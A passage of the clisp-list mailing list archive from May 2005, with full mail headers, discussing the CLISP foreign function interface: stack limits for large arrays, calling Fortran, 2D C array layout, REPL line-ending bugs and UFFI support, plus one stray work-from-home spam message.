<5F9130612D07074EB0A0CE7E69FD7A03044EC1EB@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net, Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed -- stack overflow MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 00:21:55 2005 X-Original-Date: Wed, 25 May 2005 09:19:15 +0200 Hi, Bernard Urban wrote: >Notice that for big matrices (hum, not so big, 200x200 is sufficient), >we have stack overflow in the clisp version. Not in cmucl which >uses malloc(). Could you please try to narrow this down? I'm somewhat fed up with stack overflow bugs myself, yet I remember having allocated even 1MB on stack years ago when I measured the performance of the ancient regex module. Heck, we are not on the Amiga which defaulted to 4KB stacks these days! You need not even link to foreign libraries to test this out. Have a look at tests/ffi.lisp in the source (or CVS), which defines a function c-self * -> * which you can typecast to anything, or just use with-foreign without calling another function. Perhaps that's enough to trigger the bug? Generally, I have no idea about the OS stack limits. 40000 double-floats (presumably 8 bytes, total 320.000) doesn't seem that large (I've heard of a 2MB default on Linux, not to mention that I thought stack extension would work on modern UNIX?!?). But if you need to depart from stack-allocated objects, you'll be close to with-alien/foreign-object code. Consider writing a macro like with-foreign-object that uses allocate-foreign, unwind-protect and foreign-free instead. Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Wed May 25 00:35:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DaqQl-0002ze-3P for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 00:35:55 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DaqQj-00089F-QO for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 00:35:54 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 25 May 2005 09:35:50 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 25 May 2005 09:35:46 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EC1F3@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: Bernard.Urban@meteo.fr, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI improvements needed -- raising exceptions MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 00:37:19 2005 X-Original-Date: Wed, 25 May 2005 09:35:45 +0200 Hi, Bernard Urban wrote: >No, I think I will need to write a C function having the same >name as the one implementing the STOP statement, >which returns to Lisp (problem not investigated so far), >and link to it before dlopening libf2c. I see two solution paths: a) have C:STOP() set a variable, that you can query (def-c-var) upon return on your function. b) Have C:STOP() call a callback initially set via another C:hand-written() function. That callback would signal an error. (defun fortran-stopped () (error "Fortran")) (def-call-out hand-written (:arguments (callback (c-function (:arguments)(:return-type void))))) (defun initialize() (hand-written #'fortran-stopped)) See impnotes and tests/ffi.tst for further callback examples. BTW, what does cmucl say about the undefined STOP? a) is much more portable across Lisps. b) is likely to cause problems with C++ code (destructors and unwind-protect not being called...), but is good enough for C and presumably Fortran (I haven't heard of unwind-protect like construct in Fortran, but what do I know about it). Generally, raising exceptions across language barriers is hairy. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed May 25 00:38:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DaqTL-0003FM-IB for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 00:38:35 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DaqTK-0006mT-Nw for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 00:38:35 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 25 May 2005 09:38:28 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 25 May 2005 09:38:24 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03044EC1F4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: Re: [clisp-list] FFI improvements needed MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 00:39:22 2005 X-Original-Date: Wed, 25 May 2005 09:38:21 +0200 Hi, Bernard Urban wrote: >> I don't understand what you mean. 2D arrays in CLISP (and >cmucl) are not pointer rows of pointers to doubles, (like >char*argv[]), they are n*m doubles in sequence. >Yes, but in C, non-static 2D arrays are like char*argv[], What's the definition of a non-static 2D array in C? >and you are converting to such a beast. No, I'm not! [cf. Monty Python] >In Fortran, arrays are organized as in Lisp. Row-major first, are your sure? Your code does it the other way round. >> Otherwise, the following would yield garbage: >> (with-c-var (m '(c-array uint8(2 3)) #2a((1 2 3)(4 5 6))) >> (cast m '(c-array uint8 6))) >> -> #(1 2 3 4 5 6) >Are you sure cast does not revert from the char*argv[] representtaion >to the original ? My experiences with such things did not work in my >lapack tests. FFI:CAST does nothing but check that SIZEOF and ALIGNOF match. I'm sure I'm talking about 6 consecutive uint8 in memory. No *argv[]. There's a huge difference between (c-array (c-ptr (c-array x n) m) and (c-array (c-array x n) m). I'm talking solely about the latter (2nd): (with-c-var(m '(c-array uint8 (2 3)) #2a((1 2 3)(4 5 6))) (cast m '(c-array (c-array uint8 3) 2))) -> #(#(1 2 3) #(4 5 6)) And it's an array of this kind that your initial cmucl and clisp code is filling. (with-c-var(m '(c-array uint8 (2 3)) #2a((1 2 3)(4 5 6))) (cast m '(c-array (c-array uint8 2) 3))) -> #(#(1 2) #(3 4) #(5 6)) >By the way, this is a method to coerce the rank of matrices ! It's exactly like the CLHS example on ARRAY-ROW-MAJOR-INDEX, showing off a displaced array using a different rank (giving a linear view on a matrix). Regards, Jorg Hohle From sds@gnu.org Wed May 25 06:27:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DavvD-00030q-Ka for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 06:27:43 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DavvA-0005GT-3W for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 06:27:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4PDRPNE021560; Wed, 25 May 2005 09:27:27 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Doug Currie Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <984475001.20050524181031@flavors.com> (Doug Currie's message of "Tue, 24 May 2005 18:10:31 -0400") References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> <227099391.20050323190658@flavors.com> <984475001.20050524181031@flavors.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Currie Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Variable L ; Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 06:29:22 2005 X-Original-Date: Wed, 25 May 2005 09:26:48 -0400 > * Doug Currie [2005-05-24 18:10:31 -0400]: > > Tuesday, May 24, 2005, 2:36:41 PM, you wrote: > >>> * Doug Currie [2005-03-23 19:06:58 -0500]: >>> >>> If I remove the from the lines I paste into the console, the >>> error goes away. This is with the native windows console, with a clisp >>> compiled with MinGW/msys on WinXP. > >> what happens when you replace CRLF with just CR or just LF? > > With just CR it seems to work fine. > > With just LF there is no LISP error, but the LF does not make a line > break in the console. > > With CRLF it usually, but not always!?, gives an error, e.g., > *** - code contains a dotted list, ending with L apparently, some CRLFs are turned into #\L (or #\l). also, I notices that this happens only when the region is not terminated by a newline. do you confirm this? > Is there some line-ending mode in the REPL? *TERMINAL-ENCODING* does have the :LINE-TERMINATOR property, but it is used only for output, not input. > The error seems most likely in a fresh console, and less likely after > pasting a non-CRLF text followed by a paste of a CRLF text. -- Sam Steingold (http://www.podval.org/~sds) running w2k Money does not "play a role", it writes the scenario. From urfaliog@tnt.uni-hannover.de Wed May 25 07:04:15 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DawUY-0004r3-U8 for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 07:04:14 -0700 Received: from mrelay3.uni-hannover.de ([130.75.2.41] ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DawUW-0002NB-V4 for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 07:04:14 -0700 Received: from sol.tnt.uni-hannover.de (sol.tnt.uni-hannover.de [130.75.31.70]) by mrelay3.uni-hannover.de (8.12.10/8.12.10) with ESMTP id j4PE47wE015463 for ; Wed, 25 May 2005 16:04:07 +0200 (MEST) Received: from virgo.tnt.uni-hannover.de (virgo.tnt.uni-hannover.de [130.75.31.96]) by sol.tnt.uni-hannover.de (8.12.10/8.12.10) with ESMTP id j4PE41pw017119 for ; Wed, 25 May 2005 16:04:02 +0200 From: Onay Urfalioglu Organization: =?iso-8859-1?q?Universit=E4t?= Hannover To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.7.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200505251604.02043.urfaliog@tnt.uni-hannover.de> X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.2.2 (mrelay3.uni-hannover.de [130.75.2.41]); Wed, 25 May 2005 16:04:07 +0200 (MEST) X-Scanned-By: MIMEDefang 2.42 X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] uffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 07:05:43 2005 X-Original-Date: Wed, 25 May 2005 16:04:01 +0200 There are many libs out there relying on UFFI. Since UFFI is not supported by CLISP (or vice versa) this unfortunately limits the usage and value of CLISP. Are there any plans to bring UFFI - compatibility to CLISP? What other possibilities are there to make use of e.g. cl-sdl with CLISP? oni From sds@gnu.org Wed May 25 07:38:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dax1V-0006nd-P4 for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 07:38:17 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dax1R-0007oK-VX for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 07:38:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4PEc114002268; Wed, 25 May 2005 10:38:02 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Onay Urfalioglu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200505251604.02043.urfaliog@tnt.uni-hannover.de> (Onay Urfalioglu's message of "Wed, 25 May 2005 16:04:01 +0200") References: <200505251604.02043.urfaliog@tnt.uni-hannover.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Onay Urfalioglu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: uffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 07:40:25 2005 X-Original-Date: Wed, 25 May 2005 10:37:25 -0400 > * Onay Urfalioglu [2005-05-25 16:04:01 +0200]: > > Are there any plans to bring UFFI - compatibility to CLISP? search for uffi -- Sam Steingold (http://www.podval.org/~sds) running w2k What's the difference between Apathy & Ignorance? -I don't know and don't care! From kavenchuk@jenty.by Wed May 25 07:46:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dax9g-00088G-Qk for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 07:46:44 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dax9e-0003Zd-Qu for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 07:46:44 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id LLP9HSDX; Wed, 25 May 2005 17:49:54 +0300 Message-ID: <42949008.1040603@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ffi question: c-array Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 07:48:08 2005 X-Original-Date: Wed, 25 May 2005 17:47:36 +0300 clisp from CVS head, mingw [1]> (ffi:def-c-type t1 (ffi:c-array ffi:character 200)) T1 [2]> (defconstant s1 200) S1 [3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1)) *** - Invalid FFI type: (FFI:C-ARRAY CHARACTER S1) The following restarts are available: ABORT :R1 ABORT Break 1 [4]> Why? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed May 25 08:02:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DaxOX-0002dP-EO for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 08:02:05 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DaxOT-0003Qz-3t for clisp-list@lists.sourceforge.net; Wed, 25 May 2005 08:02:05 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4PF1LGj005939; Wed, 25 May 2005 11:01:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42949008.1040603@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 25 May 2005 17:47:36 +0300") References: <42949008.1040603@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi question: c-array Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 08:03:49 2005 X-Original-Date: Wed, 25 May 2005 11:01:02 -0400 > * Yaroslav Kavenchuk [2005-05-25 17:47:36 +0300]: > > clisp from CVS head, mingw > > [1]> (ffi:def-c-type t1 (ffi:c-array ffi:character 200)) > T1 > [2]> (defconstant s1 200) > S1 > [3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1)) > > *** - Invalid FFI type: (FFI:C-ARRAY CHARACTER S1) > The following restarts are available: > ABORT :R1 ABORT > Break 1 [4]> > > Why? S1 is not evaluated. try (eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1))) or (ffi:def-c-type t2 (ffi:c-array ffi:character #.s1)) -- Sam Steingold (http://www.podval.org/~sds) running w2k The plural of "anecdote" is not "data". From gavano@compudav.com Wed May 25 16:57:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Db5l6-0006Jl-BT; Wed, 25 May 2005 16:57:56 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1Db5l3-0006IX-U6; Wed, 25 May 2005 16:57:56 -0700 Received: from [218.81.168.46] (helo=compudav.com) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1Db5l0-0001Cn-Lg; Wed, 25 May 2005 16:57:53 -0700 Message-ID: <33A9E247.22CBC34@compudav.com> Reply-To: "jacquiline ramos" From: "jacquiline ramos" User-Agent: Netscape6/6.1b1 X-Accept-Language: en-us MIME-Version: 1.0 To: "Angie Nguyen" Cc: , , , , , , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 2.0 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.9 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date X-Spam-Score: 2.4 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: lightlystroube.com] 0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist [URIs: lightlystroube.com] Subject: [clisp-list] Judgement Processing Professional Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 25 16:59:29 2005 X-Original-Date: Thu, 26 May 2005 03:45:37 -0400 Do it IMMEDIATELY. You decide how much you work. Work from your residence anywhere in the world. Be in the top 1% of income. Substantial profit processing court awards. Professional customer training and assistance. http://duh.AsCd.lightlystroube.com/lj/ For additional info or to discontinue receiving or to see our address. I hope his Majesty isn't busy, said Rob to a solemn-visaged official who confronted him. I want to have a little talk with him I--I--ah--beg pardon! exclaimed the astounded master of ceremonies From kavenchuk@jenty.by Thu May 26 00:11:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DbCWW-0001sE-BL for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 00:11:20 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DbCWT-0002OV-NM for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 00:11:19 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id LLP9HS93; Thu, 26 May 2005 10:14:11 +0300 Message-ID: <429576B7.5070902@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi question: c-array Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 26 00:13:10 2005 X-Original-Date: Thu, 26 May 2005 10:11:51 +0300 Sam Steingold: >>clisp from CVS head, mingw >> >>[1]> (ffi:def-c-type t1 (ffi:c-array ffi:character 200)) >>T1 >>[2]> (defconstant s1 200) >>S1 >>[3]> (ffi:def-c-type t2 (ffi:c-array ffi:character s1)) >> >>*** - Invalid FFI type: (FFI:C-ARRAY CHARACTER S1) >>The following restarts are available: >>ABORT :R1 ABORT >>Break 1 [4]> >> >>Why? > > > S1 is not evaluated. > try > (eval `(ffi:def-c-type t2 (ffi:c-array ffi:character ,s1))) > or > (ffi:def-c-type t2 (ffi:c-array ffi:character #.s1)) Thanks. The requirement "evaluated expression for c-type" meets in impnotes only (FFI:WITH-C-VAR... And only in description (FFI:WITH-C-VAR... it is shown as to bypass this requirement. (and only first your variant) Can be is necessary this requirement to issue separate point in the beginning of chapter "31.3.1. Overview"? Thanks once again! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu May 26 07:19:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DbJCX-0005q7-4y for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 07:19:09 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DbJCR-0004BA-Eh for clisp-list@lists.sourceforge.net; Thu, 26 May 2005 07:19:06 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id LLP9HTZ8; Thu, 26 May 2005 17:22:14 +0300 Message-ID: <4295DB0B.2080106@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in 